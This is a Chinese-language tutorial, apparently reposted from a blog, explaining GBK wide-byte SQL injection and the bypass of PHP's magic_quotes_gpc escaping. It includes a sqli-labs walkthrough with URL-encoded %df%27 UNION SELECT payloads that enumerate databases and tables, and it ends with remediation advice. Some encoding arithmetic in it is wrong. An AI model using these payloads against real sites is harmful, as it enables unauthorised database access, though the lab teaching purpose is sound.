sql注入——寬字節注入


 

sql注入——寬字節注入

一,寬字節的由來
一個字符其大小為一個字節那么我們稱其為窄字節
那么大小為兩個字節的我們稱其為寬字節
所有的英文默認占一個字節
那么中文漢字默認占兩個字節
例如 gb2312,GBK,GB18030,BIG5,Shift_JIS這些編碼都是寬字節
英文a-zA-Z共四十八種
一個字節都是八位的二進制
那么數字的0,1組合起來就有255種但是英文只有48個那么基本應對就綽綽有余
但是我們中文漢字才止255個呢所以一個字節是不能滿足我們中文漢字的編碼需求
所以我們的中文,韓文,日文等都需要兩個字節來表示(即16位二進制)
gbk就是雙字節編碼占用兩個字節
UTF-8編碼的一個漢字占用三個字節
二,寬字節注入的原理
1,寬字節注入主要來自程序員設置數據庫編碼為非英文編碼就有可能產生寬字節注入
寬字節sql注入就是php發送請求mysql時使用了語句
SET names ‘gbk’ SET character_set_client=gbk
進行了依次gbk編碼但是又由於一些不經意的字符集導致了寬字節注入
2,這個引入一個php防御函數
magic_quotes_gpc(魔術引號開關)
magic_quotes_gpc函數在php中的作用是判斷用戶輸入的數據,在post,get,cookie傳參中接收到的數據中加轉義字符“\”,以確保這些數據不會引起程序出現致命性錯誤
單引號’ 雙引號“ 反斜線\ null都會被加上反斜線來轉義
3,magic_quotes_gpc的作用:
當php傳參中有特殊字符就會在前面加轉義字符\來做一定的過濾
4. 為了繞過magic_quotes_gpc的 \ ,於是開始引入寬字節。
\:編碼%5c 運:編碼%df%5c

三,sqli-lab靶場實戰
1,用order by 排序判斷字段數

?id=1%df%27%20and%201=2%20order%20by%203%23

2,使用聯合查詢尋找輸出點

?id=-1%df%27%20and%201=2%20union%20select%201,2,3%23

在這里插入圖片描述
3,查詢數據

?id=-1%df%27%20and%201=2%20union%20select%201,database(),@@datadir%23

在這里插入圖片描述
4,從自帶庫中查詢庫中表

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=security%23

在這里插入圖片描述

此處我們將security字符轉換成16進制加上0x填入

?id=1%df%27%20and%201=2%20union%20select%201,2,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

在這里插入圖片描述
四,如何修復
1,使用UTF-8編碼格式,避免寬字節注入
ps:不僅在gbk,韓文,日文等等都是寬字節,都可能存在寬字節注入漏洞。
2,mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);針對查詢語句直接加入過濾
3,可以設置參數,character_set_client=binary

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM